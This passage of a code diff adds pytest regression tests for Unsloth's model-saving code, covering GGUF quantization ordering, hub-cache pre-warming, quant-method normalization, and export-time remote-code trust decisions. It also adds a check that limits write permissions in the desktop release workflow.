+def test_k_quant_keeps_two_pass(monkeypatch, tmp_path):
+    h = _Harness(monkeypatch, tmp_path)
+    locations, want_full_precision, _ = _run(tmp_path, ["q4_k_m"])
+
+    assert h.convert_calls[0]["quantization_type"] == "f16"
+    assert [c["quant_type"] for c in h.quantize_calls] == ["q4_k_m"]
+    assert want_full_precision is False
+    # The 16-bit intermediate must be cleaned up.
+    assert len(locations) == 1 and locations[0].endswith("testmodel.Q4_K_M.gguf")
+
+
+def test_mixed_methods_share_16bit_base(monkeypatch, tmp_path):
+    h = _Harness(monkeypatch, tmp_path)
+    _run(tmp_path, ["q4_k_m", "q8_0"])
+    assert h.convert_calls[0]["quantization_type"] == "f16"
+    assert sorted(c["quant_type"] for c in h.quantize_calls) == ["q4_k_m", "q8_0"]
+
+
+def test_parallel_quants_preserve_request_order(monkeypatch, tmp_path):
+    # First method is the slowest: completion order != request order.
+    h = _Harness(
+        monkeypatch, tmp_path, quantize_delays = {"q4_k_m": 0.3, "q5_k_m": 0.05, "q6_k": 0.01}
+    )
+    locations, _, _ = _run(tmp_path, ["q4_k_m", "q5_k_m", "q6_k"])
+
+    assert h.max_concurrency == 2, "quantize passes should overlap, bounded at 2"
+    quant_names = [os.path.basename(l) for l in locations if "F16" not in l]
+    assert quant_names == [
+        "testmodel.Q6_K.gguf",  # list is reversed by the cleanup block, as before
+        "testmodel.Q5_K_M.gguf",
+        "testmodel.Q4_K_M.gguf",
+    ]
+    assert all(
+        c["n_threads"] is not None for c in h.quantize_calls
+    ), "parallel workers must split the thread budget explicitly"
+
+
+def test_parallel_quants_env_kill_switch(monkeypatch, tmp_path):
+    monkeypatch.setenv("UNSLOTH_PARALLEL_GGUF_QUANTS", "0")
+    h = _Harness(monkeypatch, tmp_path, quantize_delays = {"q4_k_m": 0.05, "q5_k_m": 0.05})
+    _run(tmp_path, ["q4_k_m", "q5_k_m"])
+    assert h.max_concurrency == 1
+
+
+def test_duplicate_methods_quantize_once(monkeypatch, tmp_path):
+    h = _Harness(monkeypatch, tmp_path)
+    _run(tmp_path, ["q4_k_m", "q4_k_m"])
+    assert [c["quant_type"] for c in h.quantize_calls] == ["q4_k_m"]
+
+
+def test_quantize_failure_raises_actionable_error(monkeypatch, tmp_path):
+    h = _Harness(monkeypatch, tmp_path, quantize_error = OSError("disk full"))
+    with pytest.raises(RuntimeError, match = "Quantization failed"):
+        _run(tmp_path, ["q4_k_m", "q5_k_m"])
diff --git a/tests/saving/test_prewarm_base_model_hub_cache.py b/tests/saving/test_prewarm_base_model_hub_cache.py
new file mode 100644
index 0000000000..4269f9d61c
--- /dev/null
+++ b/tests/saving/test_prewarm_base_model_hub_cache.py
@@ -0,0 +1,459 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Regression tests for #6890: repeated base-model downloads across checkpoint exports.
+
+merge_and_overwrite_lora downloads missing 16-bit shards with hf_hub_download(local_dir),
+which never populates the persistent HF hub cache; a temporary merge directory (Unsloth
+GGUF exports delete it) means every checkpoint export re-downloads the full base model.
+_prewarm_base_model_hub_cache snapshot-downloads the base into the hub cache first so
+the zoo's cache-copy fast path is hit on later exports.
+
+unsloth.save cannot be imported on GPU-less hosts, so these tests extract the helper's
+source via ast and exec it against fakes, mirroring the other GPU-free tests.
+"""
+
+from __future__ import annotations
+
+import ast
+import json
+import os
+import types
+from pathlib import Path
+
+import pytest
+
+
+_SAVE_PY = Path(__file__).resolve().parent.parent.parent / "unsloth" / "save.py"
+_SOURCE = _SAVE_PY.read_text(encoding = "utf-8")
+
+
+def _extract_function(name: str) -> str:
+    tree = ast.parse(_SOURCE)
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return ast.get_source_segment(_SOURCE, node)
+    raise AssertionError(f"{name} not found in unsloth/save.py")
+
+
+class _FakePeftModel:
+    def __init__(self, name_or_path = "unsloth/gemma-4-31b-it-bnb-4bit"):
+        self.config = types.SimpleNamespace(_name_or_path = name_or_path)
+
+
+class _Recorder:
+    """Callable that records calls and returns/raises per configuration."""
+
+    def __init__(
+        self,
+        result = None,
+        exc = None,
+        results_fn = None,
+    ):
+        self.calls = []
+        self.result = result
+        self.exc = exc
+        self.results_fn = results_fn
+
+    def __call__(self, *args, **kwargs):
+        self.calls.append((args, kwargs))
+        if self.exc is not None:
+            raise self.exc
+        if self.results_fn is not None:
+            return self.results_fn(*args, **kwargs)
+        return self.result
+
+
+def _build_env(
+    monkeypatch,
+    tmp_path,
+    shards = None,
+    cached = False,
+    free_bytes = 10**15,
+    base_source = None,
+    kaggle = False,
+    colab = False,
+    hub_cache = None,
+    live_hub_cache = "__same__",
+    fp8_sibling = None,
+    sibling_source = None,
+    index_weight_map = None,
+):
+    """Exec the extracted helper with stubbed collaborators; returns (fn, stubs)."""
+    shards = (
+        shards
+        if shards is not None
+        else [
+            ("model-00001-of-00002.safetensors", 30 * 1024**3),
+            ("model-00002-of-00002.safetensors", 29 * 1024**3),
+        ]
+    )
+    if base_source is None:
+        base_source = ("unsloth/gemma-4-31b-it", False, None, False, None)
+
+    class _FS:
+        def __init__(self, token = None):
+            pass
+
+        def ls(
+            self,
+            repo,
+            detail = True,
+        ):
+            return [{"name": f"{repo}/{n}", "size": s} for n, s in shards]
+
+    class _LocalMiss(Exception):
+        pass
+
+    hf_hub_download = _Recorder(result = str(tmp_path / "cached"))
+    if not cached:
+        hf_hub_download.exc = _LocalMiss("not cached")
+    # Serve model.safetensors.index.json (the merge's shard filter) while shard cache
+    # probes still miss, so the index-filter path can be exercised without a network.
+    if index_weight_map is not None:
+        _idx_path = tmp_path / "model.safetensors.index.json"
+        _idx_path.write_text(json.dumps({"weight_map": index_weight_map}))
+
+        def _hub_dl(
+            repo_id = None,
+            filename = None,
+            **kw,
+        ):
+            if filename == "model.safetensors.index.json":
+                return str(_idx_path)
+            raise _LocalMiss("not cached")
+
+        hf_hub_download.exc = None
+        hf_hub_download.results_fn = _hub_dl
+    snapshot_download = _Recorder()
+    determine_base_model_source = _Recorder(result = base_source)
+    # For the FP8 -> 16bit sibling swap: return the sibling's (16bit) source when the
+    # helper re-resolves the sibling, else the original base source.
+    if fp8_sibling is not None:
+        _sib_src = sibling_source or (fp8_sibling, False, None, False, None)
+        determine_base_model_source.results_fn = (
+            lambda name, token = None: _sib_src if name == fp8_sibling else base_source
+        )
+    resolve_fp8_16bit_sibling = _Recorder(result = fp8_sibling)
+
+    cache_dir = tmp_path / "hub_cache"
+    cache_dir.mkdir(exist_ok = True)
+
+    hf_module = types.SimpleNamespace(
+        HfFileSystem = _FS,
+        hf_hub_download = hf_hub_download,
+        snapshot_download = snapshot_download,
+        constants = types.SimpleNamespace(
+            HF_HUB_CACHE = hub_cache if hub_cache is not None else str(cache_dir)
+        ),
+    )
+    zoo_module = types.SimpleNamespace(
+        determine_base_model_source = determine_base_model_source,
+        _resolve_fp8_16bit_sibling = resolve_fp8_16bit_sibling,
+    )
+    # Stub the live-env cache resolver the pre-warm uses (matches what the merge reads).
+    _live = (
+        (hub_cache if hub_cache is not None else str(cache_dir))
+        if live_hub_cache == "__same__"
+        else live_hub_cache
+    )
+    hf_cache_module = types.SimpleNamespace(_active_caches = lambda: (None, _live, None))
+    monkeypatch.setitem(__import__("sys").modules, "huggingface_hub", hf_module)
+    monkeypatch.setitem(__import__("sys").modules, "unsloth_zoo.saving_utils", zoo_module)
+    monkeypatch.setitem(__import__("sys").modules, "unsloth_zoo.hf_cache", hf_cache_module)
+
+    fake_shutil = types.SimpleNamespace(
+        disk_usage = lambda path: types.SimpleNamespace(free = free_bytes)
+    )
+
+    prints = []
+    namespace = {
+        "os": os,
+        "shutil": fake_shutil,
+        "PeftModel": _FakePeftModel,
+        "get_model_name": lambda name, load_in_4bit: name.removesuffix("-bnb-4bit"),
+        "IS_KAGGLE_ENVIRONMENT": kaggle,
+        "IS_COLAB_ENVIRONMENT": colab,
+        "print": lambda *a, **k: prints.append(" ".join(str(x) for x in a)),
+    }
+    exec(
+        compile(_extract_function("_prewarm_base_model_hub_cache"), str(_SAVE_PY), "exec"),
+        namespace,
+    )
+    stubs = types.SimpleNamespace(
+        snapshot_download = snapshot_download,
+        hf_hub_download = hf_hub_download,
+        determine_base_model_source = determine_base_model_source,
+        resolve_fp8_16bit_sibling = resolve_fp8_16bit_sibling,
+        prints = prints,
+    )
+    return namespace["_prewarm_base_model_hub_cache"], stubs
+
+
+def test_downloads_base_into_hub_cache(monkeypatch, tmp_path):
+    monkeypatch.delenv("UNSLOTH_PREWARM_HUB_CACHE", raising = False)
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = "merged_16bit", token = "tok")
+    assert len(stubs.snapshot_download.calls) == 1
+    _, kwargs = stubs.snapshot_download.calls[0]
+    assert kwargs["repo_id"] == "unsloth/gemma-4-31b-it"
+    # No local_dir: the whole point is populating the persistent cache.
+    assert "local_dir" not in kwargs
+    assert "model-00001-of-00002.safetensors" in kwargs["allow_patterns"]
+    assert "model.safetensors.index.json" in kwargs["allow_patterns"]
+
+
+def test_skips_download_when_already_cached(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path, cached = True)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+    # The cached check must not hit the network.
+    assert all(kwargs.get("local_files_only") for _, kwargs in stubs.hf_hub_download.calls)
+
+
+def test_skips_when_disk_too_small_for_cache_copy(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path, free_bytes = 60 * 1024**3)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+@pytest.mark.parametrize("env_value", ["0", "false", "NO", "off"])
+def test_env_opt_out(monkeypatch, tmp_path, env_value):
+    monkeypatch.setenv("UNSLOTH_PREWARM_HUB_CACHE", env_value)
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+@pytest.mark.parametrize("var", ["HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"])
+def test_offline_skips(monkeypatch, tmp_path, var):
+    monkeypatch.setenv(var, "1")
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+def test_kaggle_and_colab_skip(monkeypatch, tmp_path):
+    for flag in ("kaggle", "colab"):
+        fn, stubs = _build_env(monkeypatch, tmp_path, **{flag: True})
+        fn(_FakePeftModel(), save_method = "merged_16bit")
+        assert stubs.snapshot_download.calls == [], f"{flag} must skip pre-warm"
+
+
+@pytest.mark.parametrize("save_method", ["merged_4bit", "forced_merged_4bit", "lora"])
+def test_non_downloading_save_methods_skip(monkeypatch, tmp_path, save_method):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = save_method)
+    assert stubs.snapshot_download.calls == []
+
+
+def test_local_base_model_skips(monkeypatch, tmp_path):
+    local_dir = tmp_path / "local_base"
+    local_dir.mkdir()
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(name_or_path = str(local_dir)), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+def test_quantized_base_skips(monkeypatch, tmp_path):
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        base_source = ("unsloth/gemma-4-31b-it-bnb-4bit", False, None, True, "nf4"),
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+def test_non_peft_model_skips(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(object(), save_method = "merged_16bit")
+    assert stubs.determine_base_model_source.calls == []
+    assert stubs.snapshot_download.calls == []
+
+
+def test_consolidated_shard_excluded_when_proper_shards_exist(monkeypatch, tmp_path):
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [
+            ("consolidated.safetensors", 14 * 1024**3),
+            ("model-00001-of-00001.safetensors", 14 * 1024**3),
+        ],
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    _, kwargs = stubs.snapshot_download.calls[0]
+    assert "consolidated.safetensors" not in kwargs["allow_patterns"]
+    assert "model-00001-of-00001.safetensors" in kwargs["allow_patterns"]
+
+
+def test_consolidated_only_repo_is_kept(monkeypatch, tmp_path):
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [("consolidated.safetensors", 14 * 1024**3)],
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    _, kwargs = stubs.snapshot_download.calls[0]
+    assert "consolidated.safetensors" in kwargs["allow_patterns"]
+
+
+def test_listing_failure_is_swallowed(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    stubs.determine_base_model_source.exc = RuntimeError("HF is down")
+    fn(_FakePeftModel(), save_method = "merged_16bit")  # must not raise
+    assert stubs.snapshot_download.calls == []
+
+
+def test_gpt_oss_bf16_mxfp4_swap_skips(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(
+        _FakePeftModel(name_or_path = "unsloth/gpt-oss-20b-BF16"),
+        save_method = "mxfp4",
+    )
+    assert stubs.snapshot_download.calls == []
+
+
+def test_missing_config_skips_cleanly(monkeypatch, tmp_path):
+    # A model whose config is None must skip silently, not fall into the outer
+    # exception handler that prints a misleading "Could not pre-cache" warning.
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    model = _FakePeftModel()  # a PeftModel instance so the isinstance guard passes
+    model.config = None
+    fn(model, save_method = "merged_16bit")
+    assert stubs.determine_base_model_source.calls == []
+    assert stubs.snapshot_download.calls == []
+    assert not any(
+        "Could not pre-cache" in p for p in stubs.prints
+    ), "missing config took the error path instead of a clean skip"
+
+
+def test_relative_hub_cache_does_not_falsely_skip(monkeypatch, tmp_path):
+    # A relative HF_HUB_CACHE whose leaf does not exist yet must still resolve to a real
+    # root for the disk probe; without abspath the walk-up hits "" and pre-warm is skipped.
+    monkeypatch.chdir(tmp_path)
+    fn, stubs = _build_env(monkeypatch, tmp_path, hub_cache = "relcache/hub")
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert len(stubs.snapshot_download.calls) == 1, "relative cache path falsely skipped pre-warm"
+
+
+def test_generic_save_calls_prewarm_before_merge():
+    """unsloth_generic_save must pre-warm the cache before merge_and_overwrite_lora."""
+    tree = ast.parse(_SOURCE)
+    fn = next(
+        node
+        for node in ast.walk(tree)
+        if isinstance(node, ast.FunctionDef) and node.name == "unsloth_generic_save"
+    )
+    body_src = ast.get_source_segment(_SOURCE, fn)
+    prewarm_pos = body_src.find("_prewarm_base_model_hub_cache(")
+    merge_pos = body_src.find("merge_and_overwrite_lora(")
+    assert prewarm_pos != -1, "unsloth_generic_save no longer pre-warms the hub cache"
+    assert merge_pos != -1
+    assert prewarm_pos < merge_pos, "pre-warm must run before the merge downloads shards"
+
+
+def test_prewarm_downloads_into_live_env_cache(monkeypatch, tmp_path):
+    # Download must target the live-env cache (what the merge reads), via cache_dir.
+    fn, stubs = _build_env(monkeypatch, tmp_path, live_hub_cache = "/mnt/persistent/hf/hub")
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls[0][1]["cache_dir"] == "/mnt/persistent/hf/hub"
+
+
+def test_prewarm_survives_runtime_cache_redirect(monkeypatch, tmp_path):
+    # Frozen constants (stale dir) vs the merge's runtime-redirected dir: the pre-warm
+    # must follow the redirect, else the cache-copy fast path misses and #6890 is unfixed.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        hub_cache = "/read-only/original/hub",
+        live_hub_cache = "/writable/redirect/hub",
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls[0][1]["cache_dir"] == "/writable/redirect/hub"
+
+
+def test_cached_probe_uses_live_env_cache(monkeypatch, tmp_path):
+    # The already-cached fast path must probe the live-env cache dir too.
+    fn, stubs = _build_env(
+        monkeypatch, tmp_path, cached = True, live_hub_cache = "/mnt/persistent/hf/hub"
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.hf_hub_download.calls, "cached probe did not run"
+    assert all(
+        kw.get("cache_dir") == "/mnt/persistent/hf/hub" for _, kw in stubs.hf_hub_download.calls
+    )
+
+
+def test_fp8_base_prewarms_16bit_sibling_not_fp8_repo(monkeypatch, tmp_path):
+    # A merged_16bit export of an FP8 base with a 16bit sibling merges onto the sibling,
+    # so the pre-warm must cache the sibling (what the merge downloads), not the FP8 repo.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        base_source = ("unsloth/Model-FP8", False, None, True, "fp8"),
+        fp8_sibling = "unsloth/Model",
+    )
+    fn(_FakePeftModel(name_or_path = "unsloth/Model-FP8"), save_method = "merged_16bit")
+    assert stubs.resolve_fp8_16bit_sibling.calls, "sibling resolver was not consulted"
+    assert len(stubs.snapshot_download.calls) == 1
+    assert stubs.snapshot_download.calls[0][1]["repo_id"] == "unsloth/Model"
+
+
+def test_fp8_base_without_sibling_still_prewarms_fp8_repo(monkeypatch, tmp_path):
+    # No sibling: the merge dequants the FP8 base in place, so caching the FP8 repo helps.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        base_source = ("unsloth/Model-FP8", False, None, True, "fp8"),
+        fp8_sibling = None,
+    )
+    fn(_FakePeftModel(name_or_path = "unsloth/Model-FP8"), save_method = "merged_16bit")
+    assert len(stubs.snapshot_download.calls) == 1
+    assert stubs.snapshot_download.calls[0][1]["repo_id"] == "unsloth/Model-FP8"
+
+
+def test_prewarm_filters_shards_through_index(monkeypatch, tmp_path):
+    # A repo with a leftover shard not referenced by the index: the merge keeps only the
+    # indexed shards, so the pre-warm must too (else the disk gate over-counts and
+    # snapshot_download fetches the unused leftover).
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [
+            ("model-00001-of-00002.safetensors", 10 * 1024**3),
+            ("model-00002-of-00002.safetensors", 10 * 1024**3),
+            ("leftover-00001-of-00001.safetensors", 10 * 1024**3),
+        ],
+        index_weight_map = {
+            "a.weight": "model-00001-of-00002.safetensors",
+            "b.weight": "model-00002-of-00002.safetensors",
+        },
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    allow = stubs.snapshot_download.calls[0][1]["allow_patterns"]
+    assert "leftover-00001-of-00001.safetensors" not in allow
+    assert "model-00001-of-00002.safetensors" in allow
+    assert "model-00002-of-00002.safetensors" in allow
+
+
+def test_prewarm_keeps_all_shards_when_index_matches(monkeypatch, tmp_path):
+    # No leftover: every listed shard is indexed, so none are dropped.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [
+            ("model-00001-of-00002.safetensors", 10 * 1024**3),
+            ("model-00002-of-00002.safetensors", 10 * 1024**3),
+        ],
+        index_weight_map = {
+            "a.weight": "model-00001-of-00002.safetensors",
+            "b.weight": "model-00002-of-00002.safetensors",
+        },
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    allow = stubs.snapshot_download.calls[0][1]["allow_patterns"]
+    assert "model-00001-of-00002.safetensors" in allow
+    assert "model-00002-of-00002.safetensors" in allow
diff --git a/tests/saving/test_quant_method_none_normalization.py b/tests/saving/test_quant_method_none_normalization.py
new file mode 100644
index 0000000000..c1c5fd3686
--- /dev/null
+++ b/tests/saving/test_quant_method_none_normalization.py
@@ -0,0 +1,81 @@
+"""CPU-only regression for the quant-method normalization loops in save.py.
+
+`unsloth_save_pretrained_gguf` and `save_to_gguf_generic` each normalize the
+`quantization_method` list, mapping a ``None`` element to ``"q8_0"``. The mapping
+used to call ``quant_method.lower()`` as the first statement of the loop, so a
+``None`` element (e.g. ``quantization_method=[None]`` or ``["q4_k_m", None]``)
+raised ``AttributeError: 'NoneType' object has no attribute 'lower'`` and the
+``elif quant_method is None`` branch was unreachable dead code.
+
+The loop is inline inside two heavy functions (importing unsloth needs
+unsloth_zoo / a GPU), so - like test_is_gpt_oss_detection.py - we extract just the
+loop source via ``ast`` and exec it against sample inputs. That exercises the real
+source: it fails on the old ordering and passes once ``None`` is handled first.
+"""
+
+from __future__ import annotations
+
+import ast
+from pathlib import Path
+
+import pytest
+
+SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
+SAVE_SRC = SAVE_PY.read_text(encoding = "utf-8")
+SAVE_TREE = ast.parse(SAVE_SRC, filename = str(SAVE_PY))
+
+# The target functions and the list variable each one appends the normalized method to.
+TARGETS = (
+    ("unsloth_save_pretrained_gguf", "quantization_methods"),
+    ("save_to_gguf_generic", "new_quantization_methods"),
+)
+
+
+def _func(tree, name):
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return node
+    raise AssertionError(f"function {name!r} not found in {SAVE_PY.name}")
+
+
+def _quant_loop(func_name):
+    # The quant-normalization `for` loop iterates `quantization_method`; grab its source.
+    func = _func(SAVE_TREE, func_name)
+    for node in ast.walk(func):
+        if (
+            isinstance(node, ast.For)
+            and isinstance(node.iter, ast.Call)
+            and isinstance(node.iter.func, ast.Name)
+            and node.iter.func.id == "enumerate"
+            and isinstance(node.iter.args[0], ast.Name)
+            and node.iter.args[0].id == "quantization_method"
+        ):
+            return node
+    raise AssertionError(f"quant-normalization loop not found in {func_name}")
+
+
+def _run_loop(func_name, out_var, quantization_method):
+    # exec just the extracted loop against a given input, returning the appended methods.
+    loop_src = ast.get_source_segment(SAVE_SRC, _quant_loop(func_name))
+    namespace = {out_var: [], "quantization_method": quantization_method}
+    exec(loop_src, {"__builtins__": __builtins__}, namespace)
+    return namespace[out_var]
+
+
+@pytest.mark.parametrize("func_name, out_var", TARGETS)
+def test_none_element_maps_to_q8_0(func_name, out_var):
+    # A bare None inside the list must map to q8_0, not raise AttributeError.
+    assert _run_loop(func_name, out_var, [None]) == ["q8_0"]
+
+
+@pytest.mark.parametrize("func_name, out_var", TARGETS)
+def test_none_mixed_with_strings(func_name, out_var):
+    # None resolves to q8_0 while sibling string methods are still normalized (lowercased).
+    assert _run_loop(func_name, out_var, ["Q4_K_M", None]) == ["q4_k_m", "q8_0"]
+
+
+@pytest.mark.parametrize("func_name, out_var", TARGETS)
+def test_string_methods_unchanged(func_name, out_var):
+    # The fix must not alter behavior for the ordinary string inputs.
+    methods = ["not_quantized", "fast_quantized", "quantized", "Q8_0"]
+    assert _run_loop(func_name, out_var, methods) == ["f16", "q8_0", "q4_k_m", "q8_0"]
diff --git a/tests/saving/test_torchao_remote_code_consent.py b/tests/saving/test_torchao_remote_code_consent.py
new file mode 100644
index 0000000000..1d0acb7866
--- /dev/null
+++ b/tests/saving/test_torchao_remote_code_consent.py
@@ -0,0 +1,150 @@
+"""Regression tests for the export-time remote-code trust decision.
+
+FP8/FP4/INT quantization export re-reads the just-merged checkpoint. It used to enable
+trust_remote_code whenever the checkpoint's config carried an ``auto_map`` entry, so a model
+that loads fine with built-in classes (and therefore skips the load-time consent scan) could
+smuggle unvetted remote code that then runs at export. The export paths now derive
+trust_remote_code from ``_loaded_via_remote_code`` - the already approved load decision - instead.
+
+These run on CPU with no torch / unsloth import: they AST-extract the real helper from
+unsloth/save.py and exec it in isolation, plus assert the call sites dropped the auto_map trust.
+"""
+
+import ast
+from pathlib import Path
+
+_SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
+_SRC = _SAVE_PY.read_text(encoding = "utf-8")
+
+
+def _load_helper():
+    """Exec just `_loaded_via_remote_code` from save.py (no torch import) and return it."""
+    tree = ast.parse(_SRC)
+    fn = next(
+        n
+        for n in tree.body
+        if isinstance(n, ast.FunctionDef) and n.name == "_loaded_via_remote_code"
+    )
+    ns = {}
+    exec(compile(ast.Module(body = [fn], type_ignores = []), str(_SAVE_PY), "exec"), ns)
+    return ns["_loaded_via_remote_code"]
+
+
+_loaded_via_remote_code = _load_helper()
+
+
+def _obj(module_name, **attrs):
+    """A throwaway instance whose class __module__ is `module_name`, plus given attributes."""
+    cls = type("Fake", (), {})
+    cls.__module__ = module_name
+    inst = cls()
+    for k, v in attrs.items():
+        setattr(inst, k, v)
+    return inst
+
+
+def test_builtin_class_is_not_remote_code():
+    assert _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama")) is False
+
+
+def test_transformers_modules_class_is_remote_code():
+    assert _loaded_via_remote_code(_obj("transformers_modules.acme.modeling_x")) is True
+
+
+def test_none_is_not_remote_code():
+    assert _loaded_via_remote_code(None) is False
+
+
+def test_none_module_is_not_remote_code():
+    # A class whose __module__ is None must not raise AttributeError.
+    assert _loaded_via_remote_code(_obj(None)) is False
+
+
+def test_auto_map_in_config_alone_does_not_grant_trust():
+    # The core bypass: a built-in-loadable model whose config merely declares auto_map must NOT
+    # be treated as remote-code-loaded (that is exactly what enabled the consent-gate bypass).
+    cfg = type("Cfg", (), {"auto_map": {"AutoModelForCausalLM": "modeling_x.Model"}})()
+    assert (
+        _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama", config = cfg))
+        is False
+    )
+
+
+def test_peft_base_model_is_unwrapped():
+    base = _obj("transformers_modules.acme.modeling_x")
+    peft = _obj("peft.peft_model", get_base_model = lambda: base)
+    assert _loaded_via_remote_code(peft) is True
+
+
+def test_wrapper_model_attr_is_walked():
+    inner = _obj("transformers_modules.acme.modeling_x")
+    wrapper = _obj("peft.peft_model", model = inner)
+    assert _loaded_via_remote_code(wrapper) is True
+
+
+def test_wrapper_over_builtin_stays_false():
+    inner = _obj("transformers.models.llama.modeling_llama")
+    wrapper = _obj("peft.peft_model", model = inner)
+    assert _loaded_via_remote_code(wrapper) is False
+
+
+def test_processor_held_custom_tokenizer_is_detected():
+    # A built-in ProcessorMixin can hold an approved custom-code tokenizer; the walk must
+    # descend into processor components or the export reload loses that approved trust.
+    tok = _obj("transformers_modules.acme.tokenization_x")
+    proc = _obj("transformers.processing_utils", tokenizer = tok)
+    assert _loaded_via_remote_code(proc) is True
+
+
+def test_processor_held_custom_image_processor_is_detected():
+    ip = _obj("transformers_modules.acme.image_processing_x")
+    proc = _obj("transformers.processing_utils", image_processor = ip)
+    assert _loaded_via_remote_code(proc) is True
+
+
+def test_builtin_processor_with_builtin_components_stays_false():
+    proc = _obj(
+        "transformers.processing_utils",
+        tokenizer = _obj("transformers.tokenization_utils_fast"),
+        image_processor = _obj("transformers.image_processing_utils"),
+    )
+    assert _loaded_via_remote_code(proc) is False
+
+
+def test_cyclic_wrappers_terminate():
+    a = _obj("peft.peft_model")
+    b = _obj("peft.peft_model", model = a)
+    a.model = b
+    assert _loaded_via_remote_code(a) is False
+
+
+# -- call-site assertions: the auto_map-derived trust is gone from every export path -----------
+
+
+def test_torchao_export_derives_trust_from_load_decision():
+    assert "model_trust = _loaded_via_remote_code(model)" in _SRC
+    assert "tok_trust = _loaded_via_remote_code(tokenizer)" in _SRC
+    assert "trust_remote_code = model_trust" in _SRC
+    assert "trust_remote_code = tok_trust" in _SRC
+    # The staged-config auto_map scan that granted trust is removed.
+    assert 'if "auto_map" in json.load' not in _SRC
+
+
+def test_compressed_and_gguf_lora_paths_drop_auto_map_trust():
+    # No path derives a trust decision straight from config auto_map anymore, and no path
+    # collapses model and tokenizer trust into one flag.
+    assert 'bool(getattr(model.config, "auto_map", None))' not in _SRC
+    assert "_loaded_via_remote_code(model) or _loaded_via_remote_code(tokenizer)" not in _SRC
+    assert "if _loaded_via_remote_code(model):" in _SRC  # GGUF-LoRA converter flag
+
+
+def test_compressed_export_keeps_model_and_tokenizer_trust_separate():
+    # The subprocess gets one flag per component, so an approved custom tokenizer cannot
+    # enable an unapproved model's code during compressed quantization (or vice versa).
+    assert 'cmd.append("--trust-remote-code")' in _SRC
+    assert 'cmd.append("--trust-remote-code-tokenizer")' in _SRC
+    qsrc = (_SAVE_PY.parent / "_compressed_quantize.py").read_text(encoding = "utf-8")
+    assert 'ap.add_argument("--trust-remote-code-tokenizer", action = "store_true")' in qsrc
+    assert "trust_remote_code = args.trust_remote_code_tokenizer" in qsrc
+    # The model loads keep the model flag only.
+    assert "args.model, args.trust_remote_code)" in qsrc
diff --git a/tests/security/test_release_desktop_permissions.py b/tests/security/test_release_desktop_permissions.py
new file mode 100644
index 0000000000..b1010425d8
--- /dev/null
+++ b/tests/security/test_release_desktop_permissions.py
@@ -0,0 +1,58 @@
+"""Permission-boundary checks for the desktop release workflow."""
+
+from pathlib import Path
+
+import yaml
+
+
+REPO_ROOT = Path(__file__).resolve().parents[2]
+WORKFLOW = REPO_ROOT / ".github" / "workflows" / "release-desktop.yml"
+
+
+def _workflow():
+    return yaml.safe_load(WORKFLOW.read_text(encoding = "utf-8"))
+
+
+def test_only_publish_job_can_write_repository_contents():
+    workflow = _workflow()
+    assert workflow["permissions"] == {"contents": "read"}
+
+    write_jobs = [
+        name
+        for name, job in workflow["jobs"].items()
+        if job.get("permissions", {}).get("contents") == "write"
+    ]
+    assert write_jobs == ["publish-release"]
+
+
+def test_build_matrix_hands_off_assets_without_release_credentials():
+    jobs = _workflow()["jobs"]
+    build = jobs["build"]
+    publish = jobs["publish-release"]
+
+    assert "permissions" not in build
+    tauri_steps = [
+        step
+        for step in build["steps"]
+        if step.get("uses", "").startswith("tauri-apps/tauri-action@")
+    ]
+    assert len(tauri_steps) == 3
+    for step in tauri_steps:
